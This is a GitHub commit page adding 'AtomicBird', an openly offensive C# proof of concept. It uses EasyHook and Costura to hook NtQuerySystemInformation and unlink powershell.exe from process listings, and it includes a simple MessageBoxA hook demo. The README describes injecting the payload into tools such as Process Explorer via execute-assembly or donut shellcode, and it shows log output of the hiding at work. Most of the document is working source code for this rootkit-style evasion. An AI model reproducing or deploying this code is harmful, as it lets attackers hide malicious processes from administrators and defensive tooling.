Skip to content

Commit

Permalink
+AtomicBird
Browse files Browse the repository at this point in the history
  • Loading branch information
FuzzySecurity committed Oct 16, 2019
1 parent cb0a54d commit 47a646d
Show file tree
Hide file tree
Showing 7 changed files with 345 additions and 0 deletions.
43 changes: 43 additions & 0 deletions AtomicBird/API.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
using System;
using System.Runtime.InteropServices;

namespace AtomicBird
{
class API
{
// Native API's
//-------------------------------------
[DllImport("user32.dll")]
public static extern int MessageBoxA(
IntPtr hWnd,
String text,
String caption,
int options);

[DllImport("ntdll.dll")]
public static extern UInt32 NtQuerySystemInformation(
UInt32 SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
IntPtr ReturnLength);

// Delegates
//-------------------------------------
public struct DELEGATES
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int MessageBoxA(
IntPtr hWnd,
String text,
String caption,
int options);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQuerySystemInformation(
UInt32 SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
IntPtr ReturnLength);
}
}
}
76 changes: 76 additions & 0 deletions AtomicBird/AtomicBird.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{414187DB-5FEB-43E5-A383-CAA48B5395F1}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>AtomicBird</RootNamespace>
<AssemblyName>AtomicBird</AssemblyName>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>bin\x64\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DebugType>full</DebugType>
<PlatformTarget>x64</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
<OutputPath>bin\x64\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<Optimize>true</Optimize>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x64</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="API.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Costura.Fody">
<Version>1.6.2</Version>
</PackageReference>
<PackageReference Include="EasyHook">
<Version>2.7.7097</Version>
</PackageReference>
<PackageReference Include="Fody">
<Version>2.5.0</Version>
</PackageReference>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
25 changes: 25 additions & 0 deletions AtomicBird/AtomicBird.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.27703.2035
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AtomicBird", "AtomicBird.csproj", "{414187DB-5FEB-43E5-A383-CAA48B5395F1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{414187DB-5FEB-43E5-A383-CAA48B5395F1}.Debug|x64.ActiveCfg = Debug|x64
{414187DB-5FEB-43E5-A383-CAA48B5395F1}.Debug|x64.Build.0 = Debug|x64
{414187DB-5FEB-43E5-A383-CAA48B5395F1}.Release|x64.ActiveCfg = Release|x64
{414187DB-5FEB-43E5-A383-CAA48B5395F1}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {29F678FD-5140-43EA-9709-DC1405A564B2}
EndGlobalSection
EndGlobal
14 changes: 14 additions & 0 deletions AtomicBird/FodyWeavers.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8" ?>
<Weavers>
<Costura>
<IncludeAssemblies>
EasyHook
</IncludeAssemblies>
<Unmanaged32Assemblies>
EasyHook32
</Unmanaged32Assemblies>
<Unmanaged64Assemblies>
EasyHook64
</Unmanaged64Assemblies>
</Costura>
</Weavers>
116 changes: 116 additions & 0 deletions AtomicBird/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
using System;
using System.IO;
using System.Runtime.InteropServices;

namespace AtomicBird
{
class Program
{
// MessageBoxA detour
// ==> A simple example for context..
//----------------------------------
static private int MessageBoxDetour(IntPtr hWnd, String text, String caption, int options)
{
Console.Write("Hook => {Text: " + text + ", Caption: " + caption + ", Option: " + options + "}\n");
text = "Hooked";
caption = "Mmm";
options = 1;
return API.MessageBoxA(hWnd, text, caption, options);
}

public static void MsgBoxHookTest()
{
var hook = EasyHook.LocalHook.Create(EasyHook.LocalHook.GetProcAddress("user32.dll", "MessageBoxA"), new API.DELEGATES.MessageBoxA(MessageBoxDetour), null);
hook.ThreadACL.SetInclusiveACL(new int[] { 0 }); // Only hook our thread
API.MessageBoxA(IntPtr.Zero, "Text", "Cap", 0);
hook.ThreadACL.SetExclusiveACL(new int[] { 0 });
API.MessageBoxA(IntPtr.Zero, "Not hooked!", "Cap", 0); // Unhook
}

// NtQuerySystemInformation detour
//----------------------------------
static private UInt32 NtQuerySystemInformationDetour(UInt32 SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, IntPtr ReturnLength)
{
// Call original function
UInt32 CallRes = API.NtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

// Rewrite linked list if == 0x5 -> SystemProcessInformation
if (CallRes == 0 && SystemInformationClass == 5)
{
// !!CHANGE THIS PATH FOR TESTING!!
string LogPath = @"C:\Users\b33f\Desktop\HookLog.txt";
if (!File.Exists(LogPath))
{
File.WriteAllText(LogPath, Banner);
}

File.AppendAllText(LogPath, "Called ==> SystemProcessInformation\n");

int StructOffset = 0;
while (true)
{
int nextOffset = Marshal.ReadInt32(SystemInformation);
IntPtr Name_Ptr = Marshal.ReadIntPtr((IntPtr)(SystemInformation.ToInt64() + 64));
String Name = Marshal.PtrToStringUni(Name_Ptr);
if (Name == "powershell.exe")
{
File.AppendAllText(LogPath, "[!] Found Powershell => rewriting linked list\n");
IntPtr lastOffset = (IntPtr)(SystemInformation.ToInt64() - StructOffset);
Marshal.WriteInt32(lastOffset, (Marshal.ReadInt32(lastOffset) + nextOffset));
StructOffset = (Marshal.ReadInt32(lastOffset) + nextOffset);
} else
{
StructOffset = nextOffset;
}

// End of linked list?
if (nextOffset == 0)
{
break;
} else
{
SystemInformation = (IntPtr)(SystemInformation.ToInt64() + nextOffset);
}
}
}

// Return the callres to the caller
return CallRes;
}

public static void NtQuerySystemInformationHook()
{
var hook = EasyHook.LocalHook.Create(EasyHook.LocalHook.GetProcAddress("ntdll.dll", "NtQuerySystemInformation"), new API.DELEGATES.NtQuerySystemInformation(NtQuerySystemInformationDetour), null);
hook.ThreadACL.SetExclusiveACL(new int[] { 0 }); // Hook all threads except our thread
while (true)
{
System.Threading.Thread.Sleep(200);
}

}

// Because Ascii
//----------------------------------
static String Banner = @"
.---. .-----------
/ \ __ / ------
/ / \( )/ ----- Atomic
////// ' \/ ` --- Bird
//// / // : : ---
// / / /` '--
// //..\\ ~b33f~
====UU====UU====
'//||\\`
''``
";

static void Main(string[] args)
{
// Hook MessageBoxA for demo purposes
//MsgBoxHookTest();

// Hook NtQuerySystemInformation
NtQuerySystemInformationHook();
}
}
}
36 changes: 36 additions & 0 deletions AtomicBird/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("AtomicBird")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AtomicBird")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("414187db-5feb-43e5-a383-caa48b5395f1")]

// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
35 changes: 35 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -303,6 +303,41 @@ C:\> UrbanBishop.exe -i 3380 -p C:\Users\b33f\Desktop\sc.bin -c
|-> NtUnmapViewOfSection
```

### AtomicBird

AtmoicBird, is a crude POC to demo the use of [EasyHook](https://easyhook.github.io/) in .Net payloads combined with [Costura](https://github.com/Fody/Costura) to pack resources into a single module. AtomicBird has two functions, (1) Hook MessageBoxA => print to console / modify parameters => unhook and (2) Hook NtQuerySystemInformation->SystemProcessInformation, search the linked list of SYSTEM_PROCESS_INFORMATION Structs to find powershell processes and unlink them. The second function requires that you inject the .Net PE into a process that uses NtQuerySystemInformation (Process Explorer was used for testing), you can do that with execute-assembly or with donut by generating shellcode. AtmoicBird was only tested on x64 Win10.

```
.---. .-----------
/ \ __ / ------
/ / \( )/ ----- Atomic
////// ' \/ ` --- Bird
//// / // : : ---
// / / /` '--
// //..\\ ~b33f~
====UU====UU====
'//||\\`
''``
Called ==> SystemProcessInformation
Called ==> SystemProcessInformation
Called ==> SystemProcessInformation
Called ==> SystemProcessInformation
Called ==> SystemProcessInformation
[!] Found Powershell => rewriting linked list
Called ==> SystemProcessInformation
[!] Found Powershell => rewriting linked list
Called ==> SystemProcessInformation
[!] Found Powershell => rewriting linked list
Called ==> SystemProcessInformation
[!] Found Powershell => rewriting linked list
Called ==> SystemProcessInformation
[!] Found Powershell => rewriting linked list
[!] Found Powershell => rewriting linked list
[...Snipped...]
```

## Windows API

### SystemProcessAndThreadsInformation
Expand Down

0 comments on commit 47a646d

Please sign in to comment.